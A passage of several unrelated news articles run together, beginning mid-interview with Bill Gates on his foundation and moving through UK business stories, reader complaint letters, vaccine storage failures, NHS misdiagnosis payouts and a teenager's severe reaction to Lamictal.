'But I don't think giving the money to my children would be good for them or good for society.

'So, after whatever consumption I have, and after some left aside for the kids and for taxes, the rest of the money goes to the foundation.

'Melinda and I work hard all the time to make sure that money is well spent and goes to help those most in need.'

Gates is part of a long American tradition of entrepreneurs-turned-philanthropists, dating back to steel baron Andrew Carnegie and oil tycoon John D Rockefeller.

But he is on course to surpass them all in terms of how much he's giving away.

He has everything anyone could want: money, fame, a family, respect, and of course a killer intelligence. Is there any talent or quality he lacks that he would like to possess? 'The ability to speak foreign languages. I'm embarrassed I have never learned. I am impressed with people who are multilingual,' he says.

In any language, this year's foundation letter is a powerful document.

Bill and Melinda don't mince their words when it comes to the plight of women and girls living in the developing world.

'Poverty is sexist,' he says.

'If you are living in extreme poverty, it is terrible for both men and women but it is quite a bit more terrible for women.'

Educating girls is the key to unlocking Africa's potential, he argues, because not only do the girls themselves benefit, they also raise healthier, better-schooled and better-off families.

'Everybody who goes to Africa and sees it knows that it's true,' he says.

Another issue he is passionate about is sanitation, so much so that he recently shared a stage with a beaker of human faeces, to draw attention to the fact that more than two billion people lack access to a decent lavatory.

Their untreated waste ends up in the environment, and is responsible for the deaths of nearly 800 children a day through contamination and exposure to pathogens.

Where once he was intent on creating the most innovative software, he is now on a quest to encourage engineers and scientists to reinvent the toilet.

The flushing lavatories we use are not a solution for the developing world because they would involve substantial investment in sewer systems, and use huge amounts of water.

The loos of the future will be self-contained, incorporating small treatment plants. Would he rather go down in history as a technology pioneer or as the man who brought the world safe sanitation?

'Well I don't care how I am remembered. I don't focus on those things,' he says.

'The foundation has picked global health as its top priority, and we have had so much help from five or six generous governments, including the UK.

'We ought to be able to make it the case that a child born, say, in Africa has as much chance of surviving as a child born in our countries.

'We ought to be able to get rid of awful diseases like malaria, pneumonia, diarrhoea and HIV.'

Although he doesn't directly talk about Trump or Brexit, he is concerned that wealthy countries like the US and the UK are turning inward and becoming more reluctant to spend on foreign aid.

A report this week backed by former Foreign Secretary Boris Johnson proposed an overhaul of the UK's aid budget, currently 0.7 per cent of gross national income. In 2016 that equated to 13.4billion.

What would Gates say to those people who believe that money is inefficiently spent, or more urgently needed at home?

'Well, I would say these are humans we are talking about. If you believe other people have any value, you are saving lives for, say a thousand dollars per life.

The question is, does Britain want to help create stability in the world, does it want to produce peace in the world? It is certainly a question for taxpayers.

'If we blocked immigration completely would people cheer up? If we did no trade at all would people cheer up? If we didn't help Africa and just ignored it completely, would people cheer up?' he asks.

'I hope for a common agenda on not turning inwards.

'You can say, 'Hey, we don't even have that small amount of money, and those children should die'. It is a political decision to make.'

Would he go into politics himself? 'Well, I am in politics in the sense that I spend time with politicians.

'My expertise is in global health, so I wouldn't run for office. That is what my second career is dedicated to: global health.

'It is an exciting, all-consuming effort and that's what I'll do the rest of my life.'

He is certainly more powerful and has achieved more than most politicians already.

As he says: 'We have got so much smarter over the past 20 years even about how we deliver vaccines. A lot less children are dying.'Tech millionaire Mike Lynch has been charged in the US over the 7bn sale of his software company to Hewlett Packard

A British judge has quashed an attempt to pass documents from a legal battle focused on Autonomy founder Mike Lynch to American law enforcement.

The decision by Mr Justice Hildyard, just weeks before the High Court case is due to start on March 25, means FBI fraud investigators must wait for Lynchs defence to be presented in public.

In the US, the tech millionaire has been charged over the 7billion sale of his software company to Hewlett Packard eight years ago.

Prosecutors accuse him of overseeing a fraud that made Autonomy appear more valuable than it was.

At the same time, Lynch faces a damages claim in the UK brought by Hewlett Packard Enterprise (HPE) worth more than 3billion.

HPE tried to force Lynch to hand over evidence and witness statements to FBI investigators before the High Court case started.

But Mr Justice Hildyard said the UK proceedings took precedence.Explosive new claims that Lloyds wrecked small businesses for a profit during the financial crisis are being probed by regulators.

Bankers conspired to tip firms into administration by loading them with fees they could never pay, says a whistleblower's testimony seen by the Mail.

These companies' assets were then seized by Lloyds and partner companies to boost profits, says the insider  a subcontractor involved in rescuing firms.

New allegations: Lloyds bankers are accused of conspiring to tip firms into administration by loading them with fees they could never pay

Rumours have long swirled that big banks destroyed companies in the wake of the financial crisis to confiscate property and shore up their own balance sheets  claims the lenders deny.

But this is the first time an insider involved in the process has spoken out about what went on.

The whistleblower has now been interviewed for more than an hour by the Financial Conduct Authority (FCA), and its chief executive Andrew Bailey is understood to be aware of the claims.

Evidence has also been shared with the National Crime Agency, the Mail understands.

Toxic Treasury probe Claims the Treasury was closely involved in a toxic banking unit must be investigated by MPs, Liberal Democrat leader Sir Vince Cable has said. It is alleged the Asset Protection Agency  part of the Treasury  instructed Royal Bank of Scotland's infamous global restructuring group about lending decisions after the lender's 46billion bailout by taxpayers.

The whistleblower claims that a turnaround business called Baronsmead conspired with Lloyds to push firms into administration even when they could be saved.

In previously unpublished court documents, the insider  who was supported by campaign group Whisleblowers UK  sets out how Baronsmead was appointed in 2012 by struggling property company Angel Group to help save it from collapse, and paid 3,500 a day for its efforts.

But the insider claims that from the start, Baronsmead was conspiring to wreck the company.

When the whistleblower raised concerns, they claim, Baronsmead's boss Ian Gray said: 'You should remember who your paymaster is, and not to upset Lloyds with difficult questions.'

The insider said: 'Lloyds had an agenda to place the companies into administration no matter.'

The whistleblower's claims were made during a court battle between Lloyds and Julie Davey, the owner of Angel and one of Britain's wealthiest women before the financial crisis due to her property empire.

She lost the case and was reprimanded by the judge for misleading the court but the whistleblower's evidence was not criticised.

Lloyds has paid 100million in compensation after criminal bankers at the Reading branch of HBOS, which it rescued in 2008 seized companies' assets.

Gray said: 'There is no truth whatsoever in any of the allegations that Julie Davey or anyone else is making of wrongdoing by myself or Baronsmead.'

Lloyds said: 'The allegation of a conspiracy is long-standing and has been investigated fully by the bank, including the information provided by [the whistleblower].

This allegation is categorically denied.' It is understood the whistleblower did not go to Lloyds with their concerns.

The FCA declined to comment.Ikea, the Swedish firm best known for its flat-pack furniture and meatballs, is toying with the idea of launching a new, online sales platform that would showcase products from its competitors as well as its own.

Torbjorn Loof, chief executive of Inter Ikea, said that while the firm was not yet in talks with any of its rivals, it would like to be involved in the creation of an industry-wide sales platform.

'What are the opportunities between the dominating, big, global platforms, and the company website? I think there are tons of opportunities. I think it's a very interesting area to explore,' he told the Financial Times.

Inter Ikea boss Torbjorn Loof says that it would like to be involved in an industry-wide platform

'You like to control your own destiny so in that sense if you have the size and the possibility that's true [that Ikea would like to create it]. I think in the next five, 10 years, we will see what we now call the platform developing,' Mr Loof added.

Meanwhile, Ikea is about to embark on a trial of selling its own items on some third-party sites, such as China's Alibaba or Amazon.

The idea forms part of a huge overhaul of the 75 year old business, which is on a mission to remain relevant amid changing shopping habits.

Ikea is working to ramp up its online offer

Ikea, the world's biggest furniture retailer, opened its latest UK superstore in Greenwich last week, and is exploring smaller, city centre shops.

However, it is also making strides to grow its online operations.

It recently launched a furniture hiring division and acquired home assembly business Task Rabbit in an effort to expand its range of services.

Mr Loof told the publication that more routes to online sales are likely to open up in the coming years and that he'd like Ikea to be a part of that.

'We are always exploring. You could say within the digital arena we're exploring the third-party platform, Ikea engaging on other platforms, the platform business in the industry as a whole, how can we make our own ikea.com much stronger and better,' he said.Baroness Ros Altmann believes firms should not be allowed to limit tax bills by writing off pension payments as an expense

Firms which give their boss a lucrative pension while ordinary staff miss out should pay more tax, a former minister has said.

At present all companies can limit tax bills by writing off pension payments as an expense.

But Baroness Ros Altmann has argued that this should not apply unless ordinary staff get the same as senior executives.

In some cases it would land firms with bills running to tens of millions of pounds.

It comes after we revealed how some of Britain's biggest companies have far more lucrative pension schemes for their chief executives than regular staff.

At Lloyds, boss Antonio Horta-Osorio is given 565,000 towards his pension, 46 per cent of his 1.2million annual salary. Ordinary staff get 13 per cent at most, and only if they put away 5 per cent of their salary.

Bosses such as Horta-Osorio are given the money as an up-front cash payment while workers' funds are locked away for decades until retirement.

Critics argue that this makes executives' pension payments more like a secret top-up to their pay.

Altmann, pensions minister from 2015 to 2016, said: 'For bosses, this money just ends up being pay disguised as a pension.

For everyone else the terms are much, much less generous  and another example of the huge disparity between bosses and ordinary workers.'

Other FTSE 100 firms with hugely generous pension schemes for bosses include builder CRH, which gave boss Albert Manifold 593,000 or 47 per cent of his annual salary in 2017.

Bill Winters, head of Standard Chartered bank, received 460,000, or 40 per cent. Rakesh Kapoor, departing head of consumer goods titan Reckitt Benckiser, got 281,000, or 30 per cent. And Marco Gobbetti, boss of fashion firm Burberry, was handed 245,000, or 30 per cent.

Sir Steve Webb, another former pensions minister, said: 'We need structures so people at the top of the business have an incentive to care about provision for the bulk of their workforce, and we don't have that.'I attempted to pay for goods at my local supermarket, but my Sainsbury's credit card was declined. I contacted the bank for an explanation and it seems that, when updating its records, it started using my old address, from where we had moved six years earlier.

I was told I'd need a security code to unlock my card. When I received the code, I called to make sure my details were correct and was told it was now OK to use the card.

But it was declined again, and I was told the card would need to be unlocked once more.

Embarrassing: One reader was left red-faced after their card was declined at the supermarket till through no fault of their own

It has been very embarrassing, as the card was refused in front of other customers.

I have sent two letters of complaint, but have only received an email with a reference number, saying it will be looked into in due course.

D. P., Huddersfield, West Yorks.

It seems your credit card statement was, for some reason, sent to an old address. This was returned as undelivered, which led to a block being put on the account. So, when you tried to make a purchase, the payment was declined.

When you phoned, your address was corrected, but the block was not removed, which led to more purchases being declined.

Sainsbury's Bank tells me the issue has now been resolved. By way of further apology, you have accepted 100 compensation.

You have YOUR say Every week, Money Mail receives hundreds of your letters and emails about our stories. Here are some from our article about how slow broadband can cut up to 20 per cent off the value of your home... If you live in a village with lovely views, can you really complain about broadband? I get a fast 78 megabits per second (Mbps) but, then again, I look out of my window and see rows of houses, rather than lush fields. M. I., Sheffield, South Yorks. One of the readers in the article pays 28 a month for his slow broadband. I pay 17 a month, including line rental, and get 14.5 Mbps. If he's paying 28 just for internet, he is being conned. P. F., by email. When house-hunting, our initial checks were: floorplan, crime rate and utility provision, including internet speed. We ruled out entire areas if the broadband was slow with no upgrades planned. S. T., London. The firm that owns our phone wires is refusing to upgrade a cabinet near us. Houses across town get 200 Mbps, while we get just 2 Mbps. It makes no sense. F. P., Norfolk. We are at our wits' end with our broadband: 0.3 Mbps at worst and 1.5 Mbps at best. We've had 14 engineers round to assess the situation since last October. C. L., Kentchurch, Hereford. I love downloading TV. I'd always check speeds if I moved, as I'd never want to live somewhere with slow broadband. L. T., Luton.

I booked a holiday to Sri Lanka with RSD Travel in December 2017, paying the deposit and travel insurance.

Unfortunately, in March, I was taken into hospital when a cyst burst beneath my kneecap, rendering me motionless.

After leaving hospital, the doctor advised against flying, so we had to cancel the holiday. I rang RSD Travel and, eventually, received a claim form to retrieve the 753.20 we had paid.

I sent this to its insurer, HanseMerkur, in Bingley, Yorkshire. I heard nothing, so I phoned and was put through to Germany  where the insurer is based  but was told to call back.

A later call confirmed that it had not received my claim, so I had to send it all again, which cost me 45 in registered post. I have been trying for months to get my money, to no avail.

A. S., Lancashire.

You have had a thoroughly unsatisfactory experience with this insurer. It includes getting a response to your email entirely in German. The least a company should do is to ensure it interacts in its customers' language.

At Money Mail, we highlight the importance of buying travel insurance from the outset, in case you have to cancel a holiday.

However, having done the right thing, you have been embroiled in this firm's incompetence. HanseMerkur did try to contact you, but wrote to your old address, rather than the new one you had put on your claim form. You even made it easy by crossing out your old address on the booking literature and writing 'I have moved', with the correct address next to this.

The firm sent this letter to the wrong address on August 2. It asked for your full bank details, including the international account number, so that it could make the payment.

I have now forwarded this to you and the firm has written to you at your correct address. It promises that, when it receives your details, the payment will be made.

RSD Travel says it has amended your address on its system and had advised HanseMerkur to do the same. RSD adds that it 'deeply regrets any unsatisfactory experience you have undergone'.

***

I wanted to return a jacket I bought from Amazon, as it was too short. The retailer gave me a return address in China.

But the Post Office said it would cost 47.80 postage and advised me not to use the address, as they'd had a poor experience of it. They advised me to refer back to Amazon.

I was given another address in Middlesex and sent the item on September 13 for 4.45.

It was signed for at 8:25am the next day. Yet, after 16 phone calls and numerous emails to Amazon, I still have not had a refund.

T. B., Merseyside.

What concerns me most is that a Post Office employee recognised the dodgy address and warned you against sending the item.

Yet Amazon still has the company and the address on its website.

I asked it for an explanation. Amazon says it has 'thoroughly reviewed this case' and is happy for the seller to remain on its site. It has now issued your refund and given you a 50 gift card.

In its response to me, it referred to its A-to-Z Guarantee for third-party sellers, but did not explain why you were forced to contact me after not being refunded.How extraordinary that, more than a decade on from the financial crisis, evidence of abuse is still emerging.

The allegation that Lloyds Bank conspired with turnaround outfit Baronsmead to push property firm Angel Group into administration is deeply worrying.

It provides a sharp reminder of how slothful the progress is in drawing a line under the unscrupulous behaviour of the banks during and after the crisis.

The allegation that Lloyds Bank conspired with turnaround outfit Baronsmead to push property firm Angel Group into administration is deeply worrying

It would be nice to think that, with the banks expected to unveil healthy profits in the next ten days or so, the chief executives might offer a mea culpa instead of hiding behind a smokescreen.

At Lloyds, Dame Linda Dobbs is still investigating the degree of knowledge at the highest levels of the bank over the extent of the fraud at the former HBOS, now a Lloyds branch, in Reading.

That is not all. The Financial Conduct Authority (FCA) has never come to grips with management culpability for the near-collapse of HBOS and how it ruined so many Lloyds shareholders, and resulted in tens of thousands of job losses.

Nor are we any closer to getting to the bottom of the way in which Royal Bank of Scotlands Global Restructuring Group, in its enthusiasm to clear dodgy loans off its books, forced many firms into administration. The probe into this abomination was hugely unsatisfactory.

FCA chief executive, the admirable Andrew Bailey, inherited a flawed investigation process under Section 166 of the Financial Services Act, which meant the findings couldnt be released. Eventually the knot was untangled with the assistance of the Treasury Select Committee.

What was slightly disconcerting is that the FCA decided against taking any formal action against the bank or those involved.

One of the most frustrating aspects of the whole financial crisis and its aftermath has been the piecemeal way in which it was dealt with.

Instead of a full judicial inquiry, where evidence was taken under oath, there have been endless Treasury Select Committee hearings, a series of discrete probes by the FCA (some still unpublished), and a belated prosecution by the Serious Fraud Office into four senior Barclays executives, currently in the Southwark Crown Court, all of whom have denied the charges brought against them.

Understanding how the culture of the banks broke down and ordinary citizens and companies were harmed has never been fully explored. So there has been no closure for executives, investors, staff, customers or enforcers.

Reviving Debs

At the risk of becoming the Daily Mike Ashley, it is useful to note that the burly tycoon doesnt always get his way.

He was outbid in the effort to gain control of HMV and has withdrawn from the contest for Patisserie Valerie. Now we learn that his effort to take control of Debenhams, by means of a boardroom coup followed by a loan offer of 40million, is being resisted.

Debs is seeking to take control of its fate. It has managed to convince bankers that it has a sensible strategy for bringing the group back from the intensive care unit.

This looks to have three parts to it. A new loan facility from the banks of 40million, which is either brave or foolish, should give it time to regroup.

One of the perennial problems of retailers in trouble is the loss of credit insurance, which makes suppliers reluctant to part with goods.

Debs boss Sergio Bucher, removed from his board responsibilities, has managed to negotiate a decent arrangement with Hong Kongs Li & Fung, which should keep supplies flowing.

Next task is to rid the group of its most onerous leases and concentrate on restoring confidence.

Debenhams remains a penny stock with little value. But the jump in the shares suggests that there may yet be some hope.

Vets bet

The pressure on the British Horseracing Authority (BHA) to get the 3.5billion bloodstock industry up and running again ahead of the March 12 start of the Cheltenham Festival must be enormous.

One imagines the bookies, who admittedly are much more diversified these days, have been pulling their hair out.

But the BHAs admission that there is some risk associated with racing, must be regarded as a trifle ominous.

When equine flu hit Aussie racing in 2007 the industry was shut down for six months and the all-clear didnt come for a further ten months.

Risky business.Refrigerator malfunctions and potential contamination have left shots for the flu, HPV and polio ineffective, meaning thousands have been sent letters asking to return to be revaccinated.

Vaccines have become a hot button issue over the last several weeks.

Measles outbreaks in anti-vaccination 'hot spots' have sprouted up across the US, affecting 10 states.

Health officials in one of the states most affected, Washington, say demand for the measles vaccine has soared by 500 percent compared to last year.

However, as people have rushed to inoculate themselves against all diseases, health officials say they may have received compromised vaccines that weren't stored properly.

Issues at clinics in California, Indiana, Kentucky and Ohio have affected nearly 25,000 patients, reported Kaiser Health News.

It's raised concerns about vaccine oversight - or lack thereof - at many medical offices.

Nearly 25,000 patients in California, Indiana, Kentucky and Ohio received vaccines that were not properly stored. Pictured: Refrigerated vaccines stored at Kaiser Permanente East Medical offices in Denver, February 2015

In October 2017, health officials in Ventura County in California were worried that vaccines were getting to room temperature by the time they reached clinics, reported the Ventura County Star.

The Centers for Disease Control and Prevention (CDC) recommends that shots be stored between 35F and 46F in a refrigerator and between -58F and 5F in a freez

The Ventura Health Care Agency decided to fix the problem by transporting the vaccines on ice packs.

However, during a standard November audit, the officials discovered that the ice packs had frozen some of the vaccines, potentially lowering their efficacy, Kaise Health News reported.

According to the Los Angeles Times, about 25 types of vaccines may have been affected. This includes the flu shot and the human papillomavirus vaccines.

The Ventura Health Care Agency offered to re-vaccinate anyone who had received one of the affected shots: about 23,000 patients.

And California is far from the only state where vaccine storage has been a problem.

In May 2018, a refrigerator containing vaccines malfunctioned at the Oklahoma City Indian Clinic.

Vaccines for HPV, polio and meningococcal disease were left colder that recommended because of the malfunction, reported The Oklahoman.

The newspaper added that 120 children and teenagers may have received ineffective immunizations and would need to return and do their shots over again.

Additionally, clinics operated by Community Health Network in Indianapolis, Indiana, administered vaccines and tuberculosis skin tests that were not effective.

According to RTV6, the agency sent letters to 1,600 patients in January 2018 about freezer and refrigerator malfunctions.

Just this month, the Kentucky Department of Health said potentially contaminated vaccinations had been given in out in Kentucky, Indiana and Ohio since September 2018.

A news release stated that several people developed infections marked by 'redness, pain or tenderness, swelling, and the development of hard lumps, or nodules, at the injection site'.

Officials believed it was the result of vaccines that were improperly stored and handled.

Some programs have federal oversight, such as the Vaccine for Children's Program, a federally-funded program that provides vaccines to children from low-income households at no cost, but many don't, reported Kaiser Health News.

One 2015 study from the CDC showed that nearly one-quarter of vaccine errors that were reported involved vaccines that were not properly stored or expired.

Another 2012 report from Department of Health and Human Services found that almost 34 of 45 health care providers sampled in a two-week period had vaccines stored at improper temperatures for 'at least five cumulative hours'.

Some programs have federal oversight, such as the Vaccine for Children's Program, a federally-funded program that provides vaccines to children from low-income households at no cost, but many don't, reported Kaiser Health News.

The news comes as a measles outbreak sweeps the US, particularly hitting New York and Washington the hardest.

So far, 53 cases have been confirmed in Clark County - 47 in unvaccinated children. However, health officials have seen quite a spike in the number of vaccines being given.

Kaiser Health News reported that orders for measles vaccines increased by 500 percent in Clark County in January compared to the same time last year.

In 2018, 530 doses were ordered compared to 3,150 this year.The NHS is stockpiling body bags amid fears the UK while run out in a no-deal Brexit.

Health Minister Stephen Hammond made the revelation in a letter to an unnamed Tory MP, which has been leaked on Twitter.

Mr Hammond wrote precautionary efforts are being made to ensure medical supplies are not affected when the UK is due to leave the European Union on March 29.

Extracts from the letter were leaked on Twitter. Health Minister Stephen Hammond wrote to an unnamed Tory MP claiming 'the continuity of supply of all medical products is essential'

The NHS is preparing for 'all exit scenarios', which includes stockpiling body bags, Mr Hammond wrote.

He added it is 'essential' to ensure all medical products are accounted for, including medication, vaccines and 'consumables, including body bags'.

Consumables are defined as commodities that are intended to be used up quickly.

Many of these products come to the UK 'from or through the EU', with provisions being made to ensure 'the supply is not disrupted'.

The letter came to light after extracts were posted on Twitter by ITV journalist Robert Peston. The post has since been liked 2,889 times and retweeted 3,300 times.

In response, a spokesperson for the Department of Health and Social Care said: We are taking comprehensive action to ensure the NHS has continued access to products needed to deliver safe, effective care.

UK'S LEADING INSULIN SUPPLIER BUILDS FOUR MONTH STOCKPILE Britain's main supplier of insulin said in September it would be stockpiling the medicine in case Brexit disrupts the international supply chain. Around 4.6million people in the UK are thought to have diabetes and many of them rely on insulin to stay healthy. Danish healthcare company Novo Nordisk supplies more than half of the UK's insulin and revealed it would import enough of the vital medication to last four months. The move came just weeks after medical experts warned millions of diabetics would be at risk if there was an insulin shortage after Brexit. Novo Nordisk claimed it is committed to making sure its patients are not affected. The company said at the time it planned to build up a 16-week reserve of insulin by this month. Advertisement

If everyone does what they should do, we are confident the supply of medicines and other medical supplies will be uninterrupted in the event of exiting the EU without a deal.

Every month, around 37million packs of medicines are imported into the UK from the EU, RT reported.

If Prime Minister Theresa May does not manage to make a deal with EU leaders in Brussels, temporary arrangements could be put in place to ensure the free flow of vital medication.

Other European nations may also experience delays in medical supply deliveries.

This is due to some items, such as bandages and pacemakers, receiving their EU safety certification in the UK.

A no-deal could cause these certifications to become void, meaning they would have been sourced from elsewhere.

This comes after the Netherlands' health minister Bruno Bruins claimed there are 50 life-saving medicines that are supplied by the UK and have no suitable alternative on the Dutch market.

Hospitals in Holland have warned people's lives could be put at risk if drug supplies across the Channel are interrupted.

Mr Bruins refused to reveal the names of the drugs out of fear other countries would hoard them.Sleeping at least seven hours every night can reduce the risk of a heart attack or stroke, a new study finds.

Research conducted on mice showed that rodents who didn't get enough shut-eye were more likely to develop atherosclerosis, a disease in which plaque builds up on the inner walls of the arteries.

Previous studies have found that a lack of sleep increases the risk of cardiovascular disease, but researchers haven't been able to explain how.

The team, from Massachusetts General Hospital in Boston, says its study is the first to show that a region of the brain involved in sleep is linked to bone marrow and can raise the production of white blood cells known to cause atherosclerosis.

A new study has found that getting less than seven hours of sleep each night can raise your risk of developing atherosclerosis, a disease in which plaque builds up on the inner walls of the arteries (file image)

The National Sleep Foundation recommends that adults get between seven and nine hours of sleep every night.

However, a 2015 study from the Centers for Disease Control and Prevention found that about 50 percent of US adults sleep fewer than the recommended hours.

Insufficient sleep has been shown to raise the risk of obesity, diabetes, heart disease and even cancer - but researchers don't know much about the underlying mechanisms that cause this.

'We started with the premise that we know sleep is good for your heart, good for cardiovascular health, and sleep disruption is bad for your health and weve known this for a long time,' senior author Dr Filip Swirski, an associate professor at Massachusetts General and Harvard Medical School, told DailyMail.com.

'Our question was: "How?" We wanted to explore this known risk factor with the aim of potentially identifying tissue, cellular or molecular pathways that can explain this connection.'

For the study, published in Nature, the team genetically programmed lab mice to develop the arterial disease.

One group of mice was allowed to sleep uninterrupted for at least seven hours and the other group was repeatedly interrupted, similarly to someone one who would constantly wake up due to noise.

Neither group had changes in weight or cholesterol levels.

However, the sleep-deprived mice did have more arterial plaques in their blood vessels than the mice who were allowed to sleep normally.

The mice who had interrupted sleep also had higher levels of two white blood cells, monocytes and neutrophils, that play a role in atherosclerosis.

The researchers found that hypocretin, a hormone produced in the hypothalamus region of the brain - which promotes wakefulness and appetite - controlled the production of white blood cells in bone marrow.

Levels are normally high when animals are awake, but they were very low in the sleep-curtailed mice.

The drop in the hormone led to high levels of monocytes and neutrophils, in turn leading to atherosclerosis.

'The identification of a link between...the region of the brain that promotes wakefulness, appetite and how it directly communicates with bone marrow was a surprise,' said Dr Swirski.

Dr Swirski said he hopes to study this pathway in humans and see if it has implications beyond sleep in future research.

'We know cells in the bone marrow fight off infection and are linked to cancer and cardiovascular disease. We have more questions that we need answered,' he said.

He added that a cultural shift needs to take place in the US so that adults realize how important sleep is.

'We're not - excuse the pun - waking up to the benefits of high-quality sleep,' Dr Swirski said.

'The idea of how to be successful is work, work, work. People pride themselves on how they don't sleep enough because they're so busy.

'We need to change that perception and have people realize you will be more productive, healthier and happier if you maintain a regular high-quality sleep cycle.'Steve Young of the Maricopa County Health Departments vector unit studies a mosquito for signs of the West Nile virus, which two groups of scientists say has become a part of Arizona forever.Hundreds of patients won compensation settlements from the NHS in the last four years after blundering hospital medics failed to spot their cancer symptoms.

The shocking figures mean that, in an average week, NHS hospitals are making three potentially-fatal diagnosis errors.

The 545 cancer mistakes cost the NHS a total of 46.9million in compensation over the last four years, with an average payout of almost 90,000 per person.

Alarmingly, these cancer claims were only a small portion of 5,260 overall cases worth 688million, which saw hospital doctors fail to make a correct diagnosis of any kind of illness.

Alarming: The figures mean that in an average week NHS hospitals are making three potentially fatal cancer diagnosis blunders

Between 2014-2018, the number of people getting a cancer misdiagnosis payout has trebled while the total people getting any kind of misdiagnosis settlement from the NHS has more than doubled.

The figures, which were released by NHS Resolution under Freedom of Information Act laws, show in some years the biggest payments to patients whose cancer was misdiagnosed were in excess of 1million.

Patients can sue for negligence if medics have misinterpreted medical data such as scan results, biopsies or blood tests.

But cases can also be brought where an important delay was made in making the crucial diagnosis due to administrative mistakes or general hospital delays.

In 2014 NICE, an NHS watchdog, issued new guidance to family doctors on spotting cancer amid fears they were dismissing early signs as harmless.

An earlier study found that delays in cancer diagnosis, typically between one and three months, allowed cancer to spread in a third of the identified cases.

Loss: Writing in the British Medical Journal (BMJ) online before her death, Dr Lisa Steen described how she 'spent two years wandering in the wilderness of the medically unexplained'

Hospital Cancer Misdiagnosis Payouts The hospitals with the worst record for cancer payouts over the last three years are: * Mid Yorkshire NHS Trust 15 1,505,137 * Univ Hosp of Derby and Burton NHS Trust 12 855,633 * Univ Hosp Birmingham NHS Trust 11 1,972,080 * Pennine Acute Hospitals NHS Trust 11 743,529 * Hull & East Yorkshire Hospitals NHS Trust 8 352,428 * Univ Hosp of North Midlands NHS Trust 7 992,000 * Buckinghamshire Healthcare NHS Trust 7 1,050,635 * Sandwell & West Birmingham NHS Trust 7 412,588 * Royal Free London NHS Trust 7 440,500 * Stockport NHS Trust 7 203,014 * Royal Wolverhampton NHS Trust 7 635,460 Advertisement

It found that delays and errors most often occurred in gynaecological, skin and urological cancers.

A previous report said that 17,000 Brits are dying needlessly from cancer each year because of delays in getting a diagnosis.

Prime Minister Theresa May has pledged 75percent of cancers will be spotted early by 2028 - up from 50percent - but researchers say extra staff and equipment will be needed to hit the target.

In August 2016 it was revealed how GP Lisa Steen criticised her medical colleagues for failing to spot she was suffering from a rare kidney cancer. Her illness was only uncovered two years after she first went to professionals and by then the disease had spread to her bones.

In a posthumous blog she described how she 'spent two years wandering in the wilderness of the medically unexplained' and how her illness was at first put down to 'health anxiety'.

She died in February 2016 at the age of 43. Her husband Raymond Brown, said: 'She was just so angry and frustrated that she didnt get a diagnosis and seemed to be hitting a brick wall with every doctor she went to see.'

Peter Walsh, Chief Executive, of Action Against Medical Accidents, said: 'Misdiagnosis or delayed diagnosis of cancer is costing lives and is a major reason why a recent report by the Health Foundation estimates that up to 10,000 lives a year are being lost to cancer unnecessarily.

'England lags behind other developed country in cancer survival rates and poor diagnosis is probably the biggest reason why.

'The figures quoted here are probably only the tip of the iceberg as many failures to diagnose and refer for treatment occur with GP treatment, and not all such cases result in litigation. There should be a major drive to improve diagnostic skills'.A California teenager's rare reaction to medication caused her skin to blister and bubble and nearly killed her.

Ashley Silverman, 14, of Los Angeles, was prescribed medication by a psychiatrist in late November to treat mood swings.

Two weeks later, she developed a painful rash and her skin began 'melting' off to such an extent that she had to be transferred to burn unit.

Doctors told her father, David, that she had developed a severe reaction to the medication, which received a warning from the US Food and Drug Administration (FDA) on its dangerous side effects.

Ashley's rash and burns have since cleared, and now she and her dad say they're sharing her harrowing ordeal to warn others to read warning labels and ask doctors any medication's side effects.

Ashley Silverman, 14 (left and right), of Los Angeles California, was prescribed medication by a psychiatrist in late November to treat mood swings. The doctor told her father that the only reaction she might have is a red rash on her cheeks

Two weeks later, a red rash did break out on her cheeks (pictured), which was followed by a headaches and a fever. But her father assumed she had the flu

Ashley, a freshman at North Hollywood High School, told Fox 11 that she thought her mood swings were just a normal part of puberty.

'I thought it was just a teenager kind of thing,' she said. 'I didn't know you needed [medication] for it. I thought everyone went through the same thing.'

The teenager spoke to her counselor at the Los Angeles Unified School District, who referred her to a therapist.

The therapist, in turn, referred her to a psychiatrist, who prescribed Lamictal to treat Ashley's 'abnormal mood swings'.

Lamictal is a medication approved by the FDA to treat bipolar disorder and seizure disorders.

The drug has also been used in the treatment of other mood disorders including borderline personality disorder and depression.

However, Lamictal was given a 'black box warning' by the FDA due to reports of 'life-threatening serious rashes...and/or rash-related death.'

Ashley's father, David, told DailyMail.com that he didn't research the medication but that the psychiatrist told him it was safe.

'[The psychiatrist] said the only thing she might get is a red rash on her face,' he said.

David said that a red rash did break out on his daughter's face two weeks later, which was followed by a headaches and a fever.

In fact, one night, her fever reached 104F - but David assumed she had the flu.

He took Ashley to the ER at Sherman Oaks Hospital, but doctors couldn't figure out what she was suffering from.

David said he wanted his daughter sent to Children's Hospital LA, but instead she was taken to Valley Presbyterian Hospital.

It was there that doctors told Ashley's father that they believed she was suffering from Stevens-Johnson syndrome, a rare disorder that occurs as a reaction to a medication or an infection.

However, they believed she needed to be evaluated at Children's Hospital LA. So 20 hours after David first took Ashley to the ER, she finally arrived at Children's.

Soon, Ashley's skin began to bubble and blister, and she was diagnosed with Stevens-Johnson syndrome. Pictured: Stevens-Johnson syndrome

SJS is a rare disorder that occurs as a reaction to a medication or an infection and causes the skin to bubble and blister. Lamictal was given a 'black box warning' by the FDA due to reports of 'life-threatening serious rashes'. Pictured, left and right: Ashley in the burn unit

It was three days after the first rash had appeared on Ashley's face, and it had gotten much worse.

'At first it was just spots on my face, then they got down my neck, then my chest, and then it started to bubble,' Ashley told Fox 11.

'I felt burning a lot and I couldn't move and I couldn't see, I thought I was gonna die.'

Doctors confirmed the diagnosis of Stevens-Johnson syndrome. It begins with flu-like symptoms including coughing and fever as well as a red skin rash.

The rash then begins to spread and blisters on the skin as well as the mucous membranes of the mouth and nose.

In severe cases, SJS can lead to complications including pneumonia, sepsis and organ failure. About 10 percent of SJS patients die, according to the Cleveland Clinic.

SJS occurs in about 2.6 to 6.1 cases per million people a year, according to a February 2010 study from the University of Rhode Island.

In the US, about 300 new diagnoses are made each year.

Treatment involves stopping medication if it caused SJS, replacing electrolytes with IV fluids, taking antibiotics to prevent infection and being treated in either an ICU or a burn unit.

Ashley (pictured) was quickly transferred to the LAC+USC Medical Center burn unit. She was unable to eat or breathe on her own and had to have tubes inserted for both

It took about two weeks before Ashley (pictured) started to improve. Her father said the psychiatrist visited Ashley and accepted full responsibility

Ashley was quickly transferred to the LAC+USC Medical Center burn unit.

'She was in the burn unit from December 17 to December 31,' David said. 'No question they saved her life.'

She was unable to eat or breathe on her own and had to have tubes inserted for both. It took about two weeks before Ashley started to improve.

'She was in the burn unit from December 17 to December 31,' David said. 'No question they saved her life.'

